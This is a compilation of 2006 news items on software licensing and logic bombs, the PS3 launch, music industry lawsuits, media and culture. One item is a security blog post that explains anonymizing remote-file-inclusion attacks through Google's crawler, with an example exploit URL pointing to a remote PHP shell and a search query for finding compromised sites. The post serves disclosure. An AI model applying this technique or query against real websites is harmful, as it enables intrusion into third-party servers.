In another case widely reported, a small software developer, Logisticon, Inc., installed malware within software delivered to cosmetic company Revlon, which paralyzed Revlon's shipping operations for three days (losses were about $ 20 million U.S.) when the developer claimed that Revlon breached the contract. Logisticon simply claimed that this was an “electronic reposession.” The case was settled out of court.

In the 1991, the case of Clayton X-Ray Co. v. Professional Systems Corp., 812 S.W.2d 565 (Mo. Ct. App. 1991), a company likewise involved in a payment dispute, logged into the licensee’s computer and disabled the software which they owned. When the licensee tried to log on to see their files, all they saw was a copy of the unpaid bill. A jury awarded the licensee damages, partly because the existence of the logic bomb was not disclosed.

Finally, in Werner, Zaroff, Slotnick, Stern & Askenazy v. Lewis 588 N.Y.S.2d 960 (Civ. Ct. 1992), a law firm contracted with a company to develop billing and insurance software. When the software reached a certain number of bills (and when the developer decided it had not been paid) it shut down, disabling access to the law firm’s files. The law firm successfully sued, and got punitive damages.

So what is the lesson from all of these cases? First, if you exercise “self help” without telling the purchasor, you may open yourself up to damages. Does the Microsoft EULA adequately tell you what will happen if you don’t activate the product or if you can’t establish that it is genuine? Well, not exactly. It does tell you that some parts of the product won’t work - but it also ambiguously says that the product itself won’t work. Moreover, it allows Microsoft, through fine print in a generally unread and non negotiable agreement, to create an opportunity for economic extortion. Remember, all the cases from the 80’s and 90’s involved sophisticated parties (on both sides) who negotiated individual license agreements - not mass market software.
Balancing the rights of all parties

After this series of cases, many states considered reforming the Uniform Commercial Code to specifically cover those situations when a software developer can resort to self-help. As a result of these efforts, two states, Maryland and Virginia enacted versions of the Uniform Computer Information Transactions Act (UCITA).

The Maryland version of the statute allows the software vendor to obtain a court order that allows it to disable the software, or “[o]n material breach of an access contract or if the agreement so provides, [to] discontinue all contractual rights of access of the party in breach. . . ” In other words, the software vendor can only terminate access to the software if there has been a material breach, if doing so does not result in a breach of the peace, if there is no foreseeable risk of personal injury or significant physical damage to information or property.

The UCITA also provides a procedure for “electronic self-help” - that is, the termination of access or use of the software without a court order. The first thing to note is that, in Maryland at least, the law expressly notes that, “electronic self-help is prohibited in mass-market transactions.” Microsoft’s EULA is undoubtedly a mass-market transaction, and therefore Microsoft may be prohibited from exercising self-help in Maryland. Moreover, even in non mass-market transactions, before you can resort to self-help, the contract must provide notice that self help will be used, who will be told about the exercise of self help, and provide other notice. The Maryland law also provides that “electronic self-help may not be used if the licensor has reason to know that its use will result in substantial injury or harm to the public health or safety or grave harm to the public interest substantially affecting third persons not involved in the dispute.”

Thus, the harm to Microsoft (not getting a license fee) may be disproportionate to the harm to the licensee in having their systems completely shut down. This is particularly true if Vista is being used for a system providing medical treatment, controlling a power plant, or other such critical infrastructure. The Maryland law expressly provides that the “rights or obligations under this section may not be waived or varied by an agreement. . .”

Microsoft may have some trouble if it tries to enforce its EULA terms in a court in Washington State - especially if that court is running a computer using Vista. You see, all software license agreements with the courts in Washington State contains a “no self-help code” warranty where the vendor warrants that there is no “back door, time bomb, drop dead device, or other software routine designed to disable a computer program automatically with the passage of time or under the positive control of a person other than a licensee of the Software.” Thus, the Vista EULA terms would not apply to the Washington State courts!

Now Microsoft will invariably deny that what they are doing is “self-help.” More likely, they will claim that the disabling provisions of the software are mere “features” of the software. They will also argue that the licensee controls whether or not the code disables by either registering, or “getting Genuine.” But what the boys in Redmond are really doing is deciding that you have not followed the terms of a contract (the EULA) and punishing you unless and until you can prove that you have complied.

And what if Microsoft is wrong, and they disable your software erroneously? Well, you can keep buying and activating their software until you are successful. And that means more fees to Redmond. Or, following the movie “Happy Feet,” you can decide to find software with a little penguin on it.
http://www.securityfocus.com/columnists/423





Bill O’Reilly Slams PS3 Launch, Gamers, iPods, Digital Tech

Apparently sparked by the PlayStation 3 launch, conservative pundit Bill O’Reilly took off after video game culture and digital technology generally in yesterday’s Radio Factor.

The controversial talk show host, who advertises his program as a “no spin zone” offered the following spin on gamers and much of their favorite gear:

American society is changing for the worse because of the machines… In the past to flee the real world people usually chose drugs or alcohol… now you don’t have to do that, Now all you have to do is have enough money to buy a machine…

Basically what you have is a large portion of the population, mostly younger people under the age of 45, who don’t deal with reality - ever. So they don’t know what day it is; they don’t know temperature it is; they don’t know what their neighbor looks like. They don’t know anything… because they are constantly diverted by a machine. Now what this does is it takes a person away from reality because they’ve created their own reality…

Here comes the PS3 rant:

The newest thing is the PlayStation 3. Now this is a machine that allows you to play games in hi-def and all this other stuff… It’s the newest state of the art system from Sony…. It has a video game console, plays DVDs, connects you to the Internet, tells you how handsome you are. It’s six-hundred bucks. Now people lined up for hours to get this thing. Hours!

Next, O’Reilly recounts some of the various, well-publicized incidents that took place on PS3 lines around the country, before launching into:

The problem with this stuff is that some people can deal with it constructively… but other people get addicted to it, just like opium, just like drugs and alcohol… So this is a big, big problem. It’s going to change every single thing in this country.

At about this point, O’Reilly has Blois Olson of the National Institute on Media & the Family on as a guest. Olson talked about some issues regarding video game addiction, but was quite reasonable. As for O’Reilly? He thinks your video gaming may well doom you to a life of poverty:

The have-nots are growing. Why are they growing? Because the skill set that is necessary to earn a decent living is being deemphasized in a fantasy world of football games and shooting zombies and all that…. Now you have the “knows” and the “know-nots”, because if you spend all your youth being prisoners of machines….. you’re not going to know anything…. You’re gonna fail.

And, even though O’Reilly’s pay site offers a podcast, the pundit rather curiously disses the iPod and seems to equate video gaming with national collapse:

I don’t own an iPod. I would never wear an iPod… If this is your primary focus in life - the machines… it’s going to have a staggeringly negative effect, all of this, for America… did you ever talk to these computer geeks? I mean, can you carry on a conversation with them? …I really fear for the United States because, believe me, the jihadists? They’re not playing the video games. They’re killing real people over there.
http://gamepolitics.com/2006/11/18/b...in-that-order/





Sony: Consoles Can Aid Medical Research
Hiroko Tabuchi

The new PlayStation 3 isn't all about entertainment. That's the message Sony Corp. is trying to convey in announcing that the new game consoles - as powerful as supercomputers - can help Stanford University researchers analyze complex human protein structures and perhaps find cures for cancer, Alzheimer's and other ailments.

Thousands of die-hard gamers and entrepreneurs lined up last week to buy the sleek PS3 machines when they went on sale in the United States on Friday. Police had to disperse rowdy crowds at some stores, and in Connecticut, authorities said two armed men tried to rob waiting customers and shot a man who refused to give up his money.

Sony Computer Entertainment says that when Cure(at)PLAYSTATION 3 is launched, PS3 owners can register their machines with Stanford, download specially designed software and leave their machines online to process data when they're not playing.

It's modeled after programs where personal computers process high-volume data for signs of extraterrestrial life and other tasks. PCs already contribute to the Stanford medical research program.

Sony said data processing time can be up to 20 times faster with a global network of PS3s, which are fitted with advanced Cell processors that can perform billions of calculations per second.

The program will kick off after the PS3 becomes available globally. PS3s already are on sale in Japan, Hong Kong, Taiwan and the United States; the European launch was delayed until March because of production problems.
http://hosted.ap.org/dynamic/stories...11-21-18-43-47





Sony Is a File Sharing Thief

What with its continuing incendiary batteries and rootkit spyware disasters, you’d think Sony was in enough trouble.

But Vivendi is in effect claiming Sony is something it and its Big Four Organized Music cartel colleagues (of whom Vivendi is one) accuse their own customers of being.

The people who run Sony are "criminals" and "thieves," says Vivendi’s Universal Music Group, to all intents and purposes.

Sony’s Grouper application gives users a way to share music videos with each other and, in entertainment and software cartel parlance, that’s a criminal offence not even second to murder and rape.

Sony, however, is dismissing the UMG allegations.

"In a filing with the U.S District Court in Los Angeles on Tuesday, Grouper denied the copyright-infringement allegations and said Universal was using the lawsuit to boost a rival video-sharing site in which it has a stake," says Reuters, going on:

"Universal, owned by French media group Vivendi and the world’s largest music company, has been leading an aggressive drive to get paid for all uses of its works on new digital services over the Internet."

Grouper, "denied it was engaged in mass copyright infringement and said that - like other such sites - it cannot prevent third parties from violating the company’s terms of service that prohibit copyright infringement," says the story.

Interestingly, the entertainment cartels, with the Big Four Organized Music family in the lead, are using the US Supreme Court Grokster decision to kill independent p2p sites so they can later be resurrected as corporate p2p distribution systems.

Grokster says companies are liable for what users do with the software.

"Grouper also said it was fully compliant with the Digital Millennium Copyright Act and was carrying out the requests of copyright owners to remove materials that users may have improperly uploaded to the site," says Reuters.

"Individually and collectively, through the Recording Industry of America (the ’RIAA’) and other organizations and companies," the Big Four have engaged in unfair business practices, "for the specific purpose of eliminating sources of decentralized peer-to-peer file sharing and acquiring a monopoly over digital distribution of commercially valuable copyrighted music and movie content," says LimeWire, one of the independents being attacked.

In a court document, "In fact, these same persons and entities have been both secretly and publicly engaged in promotion of their own digital distribution technologies which permitted exchanges of copyright infringing files, such as instant messengering, email and other similar technologies only, in each case engineering the technologies to use a central server thus retaining for themselves the same knowledge and control held by Napster," says the company.

Vivendi’s Universal also sued News Corp for alleged MySpace copyright infringement, and not only but also, UMG’s Doug Morris said GooTube consistently violated music industry copyrights, just before it and Google reached an accord.
http://www.agoravox.com/article.php3?id_article=5350





Study Finds Podcast Use Rising But Small
AP

A growing number of Americans are listening to podcasts, but very few do so every day.

The Pew Internet and American Life Project said Wednesday that 12 percent of Internet users have downloaded a podcast, an increase from 7 percent earlier in the year.

However, only about 1 percent said they download a podcast on a typical day - unchanged from the survey earlier this year. The rest do so less frequently, perhaps only once.

Podcasts are typically sound files that can be played on personal computers, TiVo Inc.'s digital recorders and music players such as Apple Computer Inc.'s iPod. Many are regularly scheduled and automatically delivered, and more recently some have incorporated video.

News organizations such as National Public Radio and The Associated Press offer news podcasts throughout the day, while amateurs have produced podcasts once or twice a week to discuss their favorite television shows, among many other subjects.

"While podcast downloading is still an emerging activity primarily enjoyed by early adopters, the range of content now available speaks to both mainstream and niche audiences," said Mary Madden, senior research specialist at Pew. "We are at a crossroads of a major transition in the way media content is delivered and consumed."

Men and online veterans are more likely to download podcasts, according to the telephone survey of 972 adult Internet users, which was conducted Aug. 1-31 and has a margin of sampling error of plus or minus 3.5 percentage points. The previous survey was conducted February to April.
http://hosted.ap.org/dynamic/stories...11-22-12-26-10





Purdue Streams a Movie At 7.5Gb/sec
kdawson

the_psilo writes,
"My friend just got back from the Supercomputing conference in Tampa, FL where she and the rest of the Purdue Envision Center rocked the High Performance Computing Bandwidth Challenge by streaming a 2-minute-long, 125-GB movie over a 10-Gb link at 7.5 Gb/sec. They used 6 Apple Xserve RAIDs connected to 12 clients projecting onto their tiled wall (that's 12 streams in all). Lots of accolades from the people who set up the challenge. More links to articles and reviews can be found at the Envision Center Bandwidth Challenge FAQ page."

The two-minute video is a scientific visualization of a cell structure from a bacterium. The Envision Center site hosts a reduced version of the video.
http://it.slashdot.org/it/06/11/21/1942220.shtml





Italy Changes Spy Boss Amid Scandal

The Italian government has replaced the heads of the country's embattled secret services, including one at the center of allegations of involvement in a CIA kidnap of a terrorism suspect.

The government on Monday named the Navy's fleet commander, Vice Admiral Bruno Branciforte, to head the SISMI military secret services, replacing Nicolo Pollari.

"We selected people above the fray and political games, with great experience in the sector and great professional success," said center-left Prime Minister Romano Prodi.

Prodi, who took office in May, described it as a "natural rotation" that swapped heads of intelligence agencies he inherited from the previous center-right government.

But the shakeup also came amid talk of Pollari's possible indictment and happened just days before the release of a parliamentary report widely expected to criticize SISMI.

"How can we escape doubts that leaks (about the upcoming report) paved the way for Gen. Pollari's replacement?" asked Alfredo Mantovano, a member of parliament's intelligence oversight committee.

Pollari and SISMI are at the center of several scandals, including allegations they helped the U.S. Central Intelligence Agency kidnap a terrorism suspect in Milan in 2003 and paid journalists to plant stories and spy on magistrates.
State secrets

Prosecutors say Hassan Mustafa Osama Nasr was grabbed off a Milan street, driven to a U.S. airbase in northern Italy and then flown to Egypt, where he claims he was tortured.

They have issued preventative arrest warrants against 26 Americans and suspect that prominent Italian spies, including Pollari, helped them kidnap Nasr, who is also known as Abu Omar.

If a judge authorizes a trial, it would be the first criminal prosecution anywhere in the world for "renditions," one of the most controversial aspects of U.S. President George W. Bush's global war on terrorism.

Pollari has denied any wrongdoing but has refused to cooperate with magistrates, saying documents he needs to defend himself were made state secrets by the previous center-right government and kept classified by Prodi.

Prodi, who has tried to distance himself from the Abu Omar case, travels later on Monday to Egypt. Nasr has been held in a Cairo prison without charges, according to his lawyer.

Branciforte was once naval attache in Washington, Italy's representative to the U.S. Central Command and the director of naval intelligence. The government also named Franco Gabrielli, a former Rome police chief and anti-terrorism expert, to be new head of the SISDE civilian secret services.

Giuseppe Cucchi, head of a military strategy think tank, will head the national intelligence coordinating committee.
http://edition.cnn.com/2006/WORLD/eu...ly.spies.reut/





Online Journalism News

"It's Counter Productive and a Waste of Time to Focus on Rights Recovery"
Oliver Luft

Robert Cauthorn is the president of CityTools. Here he talks about why 'having a conversation with Google' and other rights recovery ideas are not the answer for newspapers wanting to get the best value out of news and classifieds.

It's not simply naïve to focus on rights recovery; it's counter productive and a waste of time. The cat is out of the bag and what you now have to do is think about how you are going to wrest control to your team, not relying on the courts for payment schemes or anything like that.

Change your business practices to address the new world.

Let's create a brand new product that is smarter than the existing products because no one is ever going to win and recover rights from Google. That's like saying you're going to monetise linking - it's unrealistic.

How are you going to say that they can't cut a link over? The same link that everyone else cuts on the internet? How do you go to Digg and say a reader has posted this as an interesting link but we don't want that traffic. It's crazy.

The entire web is based on linking, for heavens sake. If you have a big problem with that, it's probably best to just shut down your website because you fundamentally don't want to be on the web. That's one way to show Google who is boss!

Being on the web and whining about anyone linking to your content is like complaining about people talking about your content because it might suppress a sale if someone overhears the gist of a story. If you publish a book, you shouldn't start bitching about the existence of libraries. If you get on the web, you shouldn't start complaining about people linking to your content. Let's move on, shall we?

Besides, Google's response to the payment rights idea can easily be 'we should charge you for all the traffic we send you because you monetise that with advertising'.

The more interesting argument [for newspapers] would be to say 'let's create smart networks where we creatively combine our content with that of other publishers and the only place you can get that unique mix is on one of our member sites'.

Each one of those sites is then different based on its relationships - each one is special and designed specifically for its readers.

The challenge is whether newspapers understand what a big philosophical leap this is and what a substantial opportunity it presents.

Some media leaders don't think in these terms and the idea of sharing and working together might be scary. They want to do the business in the way it has been done for the past hundred years. Guess what, those days are past.

Let's roll this forward a year or two where a newspaper might belong to 10 or 15 distinct news networks and a couple of distinct classified networks. It would mean there would be a lot of foreign content flowing into the newspaper's website - all selected and organised by smart, modern editors in a smart, modern package.

What happens then is that these newspapers will start to develop a critical mass that can compete with Google.

They develop critical mass in a very interesting way because the majority of news is focused on the interests of the local market and what these individual newspapers are doing is making creative decisions on the content that is relevant to their readers.
Google gives you mass aggregation but it is also like a shotgun approach. It hits you with all sorts of stuff that does not matter to you.

If you spin the smart networks model forward, you can go to your local newspaper website and, because it has built smart relationships with other publishers, you get reliable content and the same kind of mass as Google. But the difference is it's all relevant to the local readership.

I believe this shift in the market place will take place in the mind of the consumer and the publisher because individual newspapers and individual readers can make the best decisions on what content is relevant to them.

This is the anti-commodification argument. It's saying that every newspaper becomes unique based on its relationships and its networks.

Instead of newspapers limiting themselves to their local content and the wire services, they move to a position where they have their local content and this incredibly rich mixture of content from all the different newspaper networks that they belong to as well as citizen journalism through a public interface.

When you get to this point, it starts to get very, very interesting because it's not something that has been visited before in the industry.

Of course, the readers win because they get better content that is more complete and more diverse. If we concentrate more fully on serving the readers, our advertisers win too. If our readers and our advertisers win, then we win as well, don't we?

Hand-wringing sessions on rights-recovery issues because of web linking divert our focus away from the reader and the advertiser, neither of whom cares one whit about the matter.

We're better off attending to the real job, telling the stories, collecting the stories, providing insight and entertainment and information and being paid for it by happy advertisers and happy readers. We can do our jobs in brave new ways in a brave new world, but to do so one must move forward, not in circles.
http://www.journalism.co.uk/news/story3086.shtml





Anonymizing RFI Attacks Through Google
Noam Rathaus

Google can be utilized to hack into websites - actively exploiting them (not information gathering by the use of “Google hacking”, although that is how most of the sites vulnerable to RFI attacks are found).

By placing a URL on any web page, Google will find it, visit it and then index it. With this mechanism, it is possible to anonymize attacks on third party web sites through Google by the use of its crawler.

PoC -
A malicious web page is constructed by an attacker, containing a URL built like so:
1. Third party site URI to attack.
2. File inclusion exploit.
3. Second URI containing a malicious PHP shell.

Example URL:
http://victim-site/RFI-exploit?http:...cious-code.php

Google will harvest this URL, visit the site using its crawler and index it.
Meaning accessing the target site with the URL it was provided and exploiting it unwittingly for whoever planted it. It’s a feature, not a bug.

This is currently exploited in the wild. For example, try searching Google for:
inurl:cmd.gif

And note, as an example:
http://www.toomuchcookies.net/index....om/CMD.gif?cmd
Which is no longer vulnerable.

Why use a botnet when one can abuse the Google crawler, which is allowed on most web sites?

Notes:
1. This attack was verified on Google, but there is no reason why it should not work with other search engines, web crawlers and web spiders.
2. File inclusions seem to tie in well with this attack anonymizer, but there is no reason why others attack types can’t be used in a similar fashion.
3. The feature might also be used to anonymize communication, as a covert channel.

http://blogs.securiteam.com/index.php/archives/746





Spielberg Calls for Responsible TV
Paul J. Gough

Steven Spielberg urged TV networks to be mindful of what they show on the air because of the effect it might have on children, and said programs like "CSI" and "Heroes" were too gruesome.

"Today we are needing to be as responsible as we can possibly be, not just thinking of our own children but our friends' and neighbors' children," Spielberg told an audience Monday at the International Emmys board of directors meeting here.

Spielberg decried on-air promotions for television shows like "CSI: Crime Scene Investigation" that showed "blood and people being dissected." He also said that when his favorite TV show of the new season, NBC's "Heroes," showed someone cut in half in the 9 p.m. hour, he sent his younger children out of the room.

"I'm a parent who is very concerned," he said.

Spielberg said that the TV landscape was much more "homogenized" 20 years ago, even seven or eight years ago. One of his shows, "ER," wouldn't have been on the air 20 years ago because of its graphic depictions.

Two of Spielberg's movies, "Schindler's List" and "Saving Private Ryan," have generated controversy during their television airings with uncut language and graphic depictions. But Spielberg has also made a famous edit to the DVD release of "E.T.: The Extra-Terrestrial," where a government agent wielded a gun in the original film and then held a walkie-talkie in the DVD.

In a free-ranging hour of interview with former NBC News correspondent Garrick Utley and questions from the audience, Spielberg said iPod video may be all the rage but count his films out from tailoring his films to fit the small screen.

"That's one medium where I have to draw the line," he said. "We'll shoot for television and the movies and let there be a wide gap" between that and the small 3-inch screen. He also said that he felt that people are social animals who will choose to go out to a movie rather than watch a show on widescreen.

"I don't think movie theaters will ever go away," Spielberg said.

But the producer-director who got his start in TV directing Joan Crawford for a 1969 episode of Rod Serling's "Night Gallery" isn't lacking for work on screens of any kind. He's developing a 10- or 11-hour miniseries about the U.S. war against Japan in the Pacific Theatre during World War II, part of the 20% of his time that he estimated he worked on TV projects compared with 80% for films.

He called working on miniseries "the most fun I have" and especially liked the ability to develop characters. He pointed to HBO's "Band of Brothers," which developed characters over hours rather than the eight to 10 minutes that he said was available in a two-hour feature film.

Another project is "On the Lot," a Mark Burnett-Spielberg TV series that will choose one of 16 aspiring filmmakers for a development deal with DreamWorks, Spielberg's studio. It will air on Fox. And of course there's another film coming in the "Indiana Jones" series, which Spielberg was relatively mum about.

"There's still life in the series," Spielberg said.
http://today.reuters.com/news/articl...src=rss&rpc=22





Still Rocking His Own Look
Guy Trebay

IN an era of music careers created in the democratic nowhere of MySpace, where the members of hot bands dress as if they were office temps, the days of the rock show as spectacle and the rock star as circus star are unquestionably numbered.

Yet arena rock, at least, still has a certifiable god in Mick Jagger. And, as the Rolling Stones blew through this honky-tonk beachfront city last week on the last leg of its Bigger Bang tour, Mr. Jagger gave a performance that was a master class in the genre.

As lithe as a boy, Mr. Jagger seems to defy age. At least he does below the waist. Grooved and sunken, his weather-beaten face betrays every second of his 63 years and this makes it all the more startling when he prances and postures like some curious and gorgeous superannuated Pan.

It is Mr. Jagger’s persona that a Stones show is clearly built upon, and Mr. Jagger who inspires fans to travel great distances, blow the rent money on tickets and follow the Stones to the ends of the earth.

The music draws them, too, of course, but there are few sights in entertainment as compelling as Mr. Jagger’s almost vaudevillian brio, his eccentric presentation and his achingly singular style.

“Mick Jagger has been living on the style edge since 1966,” said Joe Levy, the executive editor of Rolling Stone. “The edge keeps moving and so does he.”

Even a cursory trip through the archives of fashion makes clear that whenever designers as unalike as Roberto Cavalli and Tommy Hilfiger invoked some emblematic rock star, or rocker “icon,” or rocker “rebel,” Mr. Jagger was the point of reference.

Bowie was stylish. Bryan Ferry looked good in a suit. But it was Mr. Jagger who preened himself in a Mephistopheles cloak at Altamont; wore Ossie Clark jumpsuits split to the navel; and who appeared in a flounced neoclassical Grecian-style jacket to read Shelley at a concert after Brian Jones’s death.

It was Mr. Jagger who flaunted billowing trousers designed by Giorgio Sant’Angelo, “mad things, beautiful things,” as Tony King, Mr. Jagger’s media coordinator for four decades, said last week. “From the start the Stones had kind of their own look,” Mr. King explained before heading from Manhattan to New Jersey for the Bigger Bang show. “They were very much not the Beatles, four guys wearing the same suits.”

In truth the Stones dressed identically in their very earliest incarnation, wearing the matching suits that were the boy-band uniform of the British Invasion. That they ditched these in favor of dressing as rowdies or dandies or rough trade or women probably owes more to Mr. Jagger, a lifelong clotheshorse, than to any other member of the band.

“It was in 1969, when the Stones made ‘Gimme Shelter,’ when all of a sudden there became a need to have a look for a tour,” Mr. King said.

It was also about that time when Mr. Jagger and his bandmates began affecting eyeliner and the dangling earrings that would eventually provide Johnny Depp with the visual cues for the character Jack Sparrow, his “Pirates of the Caribbean” homage to Keith Richards-as-dandy, a characterization that helped make a multimillion-dollar franchise out of a dull cinematic cartoon.

Even as far back as 1975, when Karen Durbin wrote a Village Voice cover article about the Rolling Stones, she was not alone in pointing out the gender games Mr. Jagger was already playing through clothes. “He was very, very androgynous,” said Ms. Durbin, now a film critic for Elle magazine, and so avid a fan she claims to have seen the Stones 22 times. “But he was also simultaneously a little scary, a little hard and indisputably masculine.”

Mr. Jagger’s onstage dualities were not accidental, said Ms. Durbin. “It was all deliberate.”

Nowadays, of course, gender blur is a karaoke setting in the music business. At some point everyone in a band has put on eyeliner, except perhaps the girls.

And while groups as unalike as the Libertines, say, or the Scissor Sisters, or the Strokes or the Killers or the Hives, or My Chemical Romance continue to pay homage, not always ironic, to the rock star as dandified satyr, the much greater shift in the music business is away from Rolling Stones-style theatricality and toward something more neutral, amateurish and anonymous.

“We would never get all costumed up,” Mitch DeRosier, a musician with the indie band Born Ruffians, said by phone last week from Portland, Ore., where the group was on tour with Hot Chip. “I don’t go out of my way that much.”

Talk to a member of almost any band created in the emo era and one would hear more or less the same thing. “I like the Rolling Stones and I’m a huge fan of their music,” said Seth Olinsky, a musician in the exuberantly frumpy Brooklyn-based indie band Akron/Family. “But the sexy-strut dude is not the image I choose to be important to me.”

As an expression of style, grunge has been quoted so liberally by now that it rates a mile marker on the timeline of fashion. Yet compared with the look lately favored by young bands, grunge has come to seem almost baroque.

And as that has happened, so has Mr. Jagger’s form of personal display been refined to the extent that he is like an essence of rock star: skinny jeans and cropped jackets by the Balenciaga designer Nicolas Ghesquiere; tight glittering T-shirts by the Dior designer Hedi Slimane.

“In mainstream rock you no longer see guys willing to take these fashion risks,” said Dan Peres, the editor of Details, a magazine whose editorial mission basically descends from Mr. Jagger’s robust sartorial and social experiments. “In this day and age, where if you have a great MySpace page you can go further than acts with labels promoting them and sell tons of albums without even having a label,” said Mr. Peres, “no one wants to make a style statement that would alienate anyone.”

No one wants to go onstage, as Mr. Jagger did each time the band played “Sympathy for the Devil” on the Bigger Bang tour — which ends this weekend in Vancouver — in a coat and matching fedora designed by Miuccia Prada and made entirely of feathers, perhaps because no one without his history could wear a coat of cock feathers and not seem like a joke.

“Very early on we did the same thing” young bands are now doing, Mr. Jagger explained in an interview this week. “We wore clothes very similar to what we wore offstage because we didn’t have any money and that was the look.”

It wasn’t until the end of the ’60s, when the Rolling Stones were playing 50,000-seat arenas, that the band began, he said, to wear more “eye-catching” stuff.

“If I was starting out now, I would dress down, but still hope to have some distinctive way of dressing down,” he said.

“It doesn’t matter if you’re starting out or you’re doing it for years,” Mr. Jagger said. “There’s no point in having a huge dress-up if you’re playing a 500-seat club. And if you’re playing for 50,000 people, there’s no point in wearing rags.”
http://www.nytimes.com/2006/11/23/fashion/23mick.html





Wrestling With Miles Davis and His Demons
Pat H. Broeske

FIFTEEN years after his death Miles Davis has been enjoying a comeback tour. A new marketing campaign, capitalizing on what would have been his 80th birthday earlier this year, has been touting Davis, the trumpeter, bandleader and jazz legend, as “the original icon of cool.” His music is being repackaged and (of course) remixed. And, as befits a musical giant, his life story — one that has long eluded Hollywood — appears finally to be headed for the big screen.

In the wake of “Ray” and “Walk the Line,” musical biographies that did well in recent awards seasons, filmmakers have lined up to portray Marvin Gaye, Charley Pride, Janis Joplin and Bob Dylan. Now, with a pair of potentially competing projects, it’s Miles Davis’s turn.

The poet and writer Quincy Troupe, who was Davis’s collaborator, friend and protégé, has adapted a screenplay from his 2000 memoir, “Miles and Me.”

“It’s about a friendship — a hard-won friendship — between two black men, both of them artists,” Mr. Troupe explained. “Through that friendship, the film will explore Miles’s life.”

The producer Rudy Langlais said independent financing for “Miles and Me” is in place through Patriot Pictures and Beacon Pictures, and talks are under way with actors and filmmakers. “We will be up and running next year,” predicted Mr. Langlais, whose credits include “The Hurricane,” about the controversial criminal case involving the boxer Hurricane Carter, and television movies about the Atlanta child murders and the gang leader Stanley Tookie Williams.

“Quincy saw through Miles’s veneer,” Mr. Langlais explained. “You’ll see a film that approaches the inner life of Miles Davis. We’re aiming for the truths of Miles — his fears, his terrors, his demons.”

Meanwhile an “authorized” biopic is being developed by the Davis estate, which comprises some (but not all) of his children, a musician nephew and a brother-in-law. Don Cheadle has been mentioned in reports as a possible star, though a representative for the actor declined to comment. This project — on which Mr. Troupe, who collaborated with Davis on his 1989 autobiography, was previously a consultant — has seen several producers and screenwriters come and go.

Davis has proved a challenging subject, in part because his career spanned almost half a century and diverse musical styles, and was populated by a somewhat incongruous roster of musical greats. The short list includes Charlie Parker, John Coltrane, Cannonball Adderley, Bill Evans, Sonny Rollins, Thelonious Monk, Gil Evans, Quincy Jones and Herbie Hancock, as well as Jimi Hendrix and Prince.

The jazz scene has also been problematic for filmmakers, whose forays have often been off-key. Some have delved into the dark, addictive side (as Clint Eastwood did with “Bird,” or Bertrand Tavernier with “ ’Round Midnight”). Others have dwelled on atmosphere (as did Spike Lee, with “Mo’ Better Blues”), sometimes at the expense of story line.

But the most difficult factor may well be Davis himself. The Prince of Darkness, as he became known, ranted so much about race and prejudice that some acquaintances believed he was the one with racial prejudice. (Though, as Mr. Troupe noted, Davis never balked at working with white musicians. And he was romantically involved with several white women.) He often performed with his back to his audience, and berated fans who dared approach him.

Famously fond of cool cars and hot women, Davis had an erratic personal life that included heroin addiction, cocaine addiction, pimping and spousal abuse. “I actually left running for my life — more than once,” his former wife Frances Davis recalled in a telephone interview. A onetime Broadway dancer, she said her own career faltered after she left the hit musical “West Side Story” because Davis told her, “A woman should be with her man.” She now says any screen depiction must be truthful about both his artistry and his rage. “There’s got to be full treatment of his genius, as well as his shortcomings,” she said.

A Davis film, with Wesley Snipes mentioned as the star, was first attempted by the former CBS Records chief executive Walter Yetnikoff, who played a role in encouraging Davis to record his landmark jazz-rock album “Bitches Brew” in 1970. Mr. Yetnikoff acquired the rights to Davis’s life and music, as well as to his autobiography. “But I didn’t know what I didn’t know,” Mr. Yetnikoff said in an interview. “And I didn’t know how to make a movie.”

When he allowed his option to lapse, the producer Marvin Worth (“Lenny,” “Malcolm X”) took the project to Columbia Pictures. But it came to a halt with Mr. Worth’s death in 1998.

Two years later Mr. Troupe published his own book about Davis, and the rights to that book were purchased by Mr. Langlais. For both producer and writer, the project represents the final chapter of a journey that began more than two decades ago, when Mr. Langlais, who was then executive editor of Spin magazine, assigned Mr. Troupe to interview Davis.

Mr. Troupe was 14 in 1954, when he first met Mr. Davis at a downtown St. Louis jazz club. (Mr. Troupe is from St. Louis; Davis is East St. Louis’s most famous homegrown celebrity.) In the late ’70s the two men briefly met again, through a mutual friend, when both were living on the Upper West Side of Manhattan.

It was 1985, when Mr. Troupe got the assignment for Spin, and he went to Davis’s brownstone, he recalls, “my little tape recorder in my hand.” The meeting got off to a shaky start when Davis asked, “How’d you get your hair like that?” and proceeded to play with one of Mr. Troupe’s dreadlocks. The writer slapped away his hand. “I told him I was there to conduct an interview, not to have my own personal space invaded,” he said. “And Miles, well, he looked pretty shocked.” Davis went on to spew some colorful language before calming down and asking what Mr. Troupe wanted to know.

“And I spent 10 hours with him,” he said. “Then I went back the next day and spent another 10 hours. I told my wife, ‘Something’s happening here.’ ” Mr. Troupe eventually turned in a 45-page article, which Spin printed in two lengthy installments. The next year Mr. Troupe received a call from a representative for Simon & Schuster: Miles Davis wanted him to work with him on his autobiography, extending a relationship that was to last until Davis’s death in 1991, at 65.

As Mr. Troupe sees it now, the angry image that was often associated with Davis actually masked a gentle soul. “Miles Davis was not the monster everybody made him out to be,” he said. “Miles Davis was a very shy guy who created a persona, a kind of hostile persona, to keep people away from him.”

Mr. Troupe has often described Davis as an “unreconstructed black man,” unapologetic and proud. “Miles did not want to smile. He was not going to be Louis Armstrong,” he said. “As far as Miles being racist, the last woman he was with was Jewish.”

That woman was Jo Gelbard, an artist who taught Davis how to paint. They later collaborated (acrylics and mixed media) and became lovers. He was in her arms when he died. Afterward the estate tried to wrest control from her of the paintings that she and Davis had made together. After seven years in court she prevailed. Ms. Gelbard’s relationship with Davis is the subject of a book she is now selling online.

“There was a lot more soul to Miles than has been previously depicted” in other books, Ms. Gelbard said in a telephone interview from New York. Apprehensive about Hollywood’s take, she said, “If they don’t find some light in his life, it will be just another black junkie Harlem-nights movie.”

“Yes, he was complex,” she said. “And I don’t negate the violence.” But, she added, “there should be some forgiveness and insight into him as a human being.

“It’s time to say he was a genius, and thank you for the music.”
http://www.nytimes.com/2006/11/19/mo...html?ref=music





Rant of the Week

Top Ten Worst Sounding Records, 1997-Present
Nick Southall

Before you try and kill me, this list is a) highly subjective (the way we hear is as different as the ears we hear with), b) designed to infuriate you as much as educate you, and c) limited to just rock / indie / alternative / whateveryouwanttocallit records. Electronic, dub, jazz, improv, classical etcetera are a whole other ballgame. I could have chosen a list of easy targets, from Californication to Snow Patrol to System of a Down, but what would be the point in that? These records are (almost) all ones that I would otherwise love, and in some cases do, despite their hideous sonics.

01. Oasis - Be Here Now
